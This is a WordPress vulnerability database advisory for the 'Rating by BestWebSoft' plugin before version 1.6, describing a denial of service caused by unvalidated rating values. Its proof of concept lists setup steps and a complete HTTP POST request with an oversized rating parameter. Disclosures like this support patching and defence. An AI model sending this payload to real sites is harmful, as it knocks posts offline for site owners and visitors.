WordPress Plugin Vulnerabilities
Rating by BestWebSoft < 1.6 - Rating Denial of Service
Description
The plugin does not validate the submitted rating, allowing submission of long integer, causing a Denial of Service on the post/page when a user submit such rating
Proof of Concept
Under Settings -> Discussion, uncheck "Comment must be manually approved" Install and Enable Rating BestWebSoft plugin Change "Enable Rating for" to "All" (Works for others, but this allows guest to post) Change "My Rating Position" to "In comments" Submit a valid comment and capture with Burp or another application. Change the post parameter "rtng_rating[0]" to a large integer such as 1000000000 POST /wp-comments-post.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 151 Connection: close Cookie: [depends on plugin's settings] Upgrade-Insecure-Requests: 1 rtng_show_title=1&rtng_rating%5B0%5D=1000000000&comment=aa&author=Yolo&email=krkgh%40jgoirtjg.com&url=&submit=Post+Comment&comment_post_ID=5887&comment_parent=0
Affects Plugins
References
CVE
Miscellaneous
Original Researcher
Drew Jones
Submitter
Drew Jones
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-05-24 (about 1 years ago)
Added
2022-05-24 (about 1 years ago)
Last Updated
2023-02-20 (about 1 years ago)